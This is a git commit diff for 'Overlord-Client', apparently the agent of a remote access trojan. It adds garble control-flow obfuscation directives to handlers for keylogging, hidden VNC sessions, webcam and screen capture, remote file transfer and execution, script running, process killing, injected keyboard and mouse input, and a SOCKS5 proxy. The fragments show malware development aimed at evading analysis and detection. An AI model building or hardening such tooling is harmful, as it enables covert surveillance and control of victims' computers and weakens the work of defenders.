add control flow obf for garble

Overlord-Client/cmd/agent/handlers/agent_update.go

@@ -18,6 +18,7 @@ import (
 )
 
 func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	sourcePath = strings.TrimSpace(sourcePath)
 	if sourcePath == "" {
 		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})

Overlord-Client/cmd/agent/handlers/command.go

@@ -536,6 +536,7 @@ func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
 }
 
 func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	cmdID, _ := envelope["id"].(string)
 	action, _ := envelope["commandType"].(string)
 

Overlord-Client/cmd/agent/handlers/desktop.go

@@ -27,6 +27,7 @@ func GetPersistedDisplay() int {
 }
 
 func DesktopStart(ctx context.Context, env *rt.Env) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
 	if fps < 60 {
 		fps = 60

Overlord-Client/cmd/agent/handlers/files.go

@@ -156,6 +156,7 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
 }
 
 func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("file_download: %s", path)
 
 	file, err := os.Open(path)
@@ -239,6 +240,7 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
 }
 
 func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	if total > 0 {
 		key := uploadKey(path, transferID)
 		pendingUploadsMu.Lock()
@@ -720,6 +722,7 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
 }
 
 func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("file_read: %s", path)
 
 	if maxSize == 0 {
@@ -771,6 +774,7 @@ func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, pa
 }
 
 func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("file_write: %s", path)
 
 	dir := filepath.Dir(path)
@@ -1016,6 +1020,7 @@ func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, p
 }
 
 func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("file_execute: %s", path)
 
 	err := ExecuteFile(path)

Overlord-Client/cmd/agent/handlers/hvnc.go

@@ -27,6 +27,7 @@ func GetPersistedHVNCDisplay() int {
 }
 
 func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
 	capture.SetH264TargetFPS(fps)
 	log.Printf("hvnc: starting stream (max fps %d)", fps)

Overlord-Client/cmd/agent/handlers/input_windows.go

@@ -98,6 +98,7 @@ func sendMouseUp(button int) {
 }
 
 func sendMouseInput(flags uint32, mouseData uint32) {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	var inp input
 	inp.inputType = INPUT_MOUSE
 	mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
@@ -165,6 +166,7 @@ func sendKeyUp(vk uint16) {
 }
 
 func sendKeyInput(vk uint16, keyUp bool) {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	var inp input
 	inp.inputType = INPUT_KEYBOARD
 	ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))

Overlord-Client/cmd/agent/handlers/keylogger.go

@@ -50,6 +50,7 @@ func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error
 }
 
 func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	if env.Keylogger == nil {
 		return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
 			"type":      "command_result",

Overlord-Client/cmd/agent/handlers/plugin_event.go

@@ -8,6 +8,7 @@ import (
 )
 
 func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	if env.Plugins == nil {
 		return nil
 	}

Overlord-Client/cmd/agent/handlers/processes.go

@@ -33,6 +33,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
 }
 
 func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("process_kill: %d", pid)
 
 	err := killProcess(pid)

Overlord-Client/cmd/agent/handlers/screenshot.go

@@ -24,6 +24,7 @@ var (
 )
 
 func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	restore := capture.BypassResolutionCap()
 	defer restore()
 

Overlord-Client/cmd/agent/handlers/script.go

@@ -13,6 +13,7 @@ import (
 )
 
 func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
 
 	var cmd *exec.Cmd

Overlord-Client/cmd/agent/handlers/socks5.go

@@ -23,6 +23,7 @@ type tunnelConn struct {
 }
 
 func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	host, _ := payload["host"].(string)
 	portRaw := payload["port"]
 	var port int

Overlord-Client/cmd/agent/handlers/webcam.go

@@ -10,6 +10,7 @@ import (
 )
 
 func WebcamStart(ctx context.Context, env *rt.Env) error {
+	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	fps := env.WebcamFPS
 	if fps <= 0 {
 		fps = 30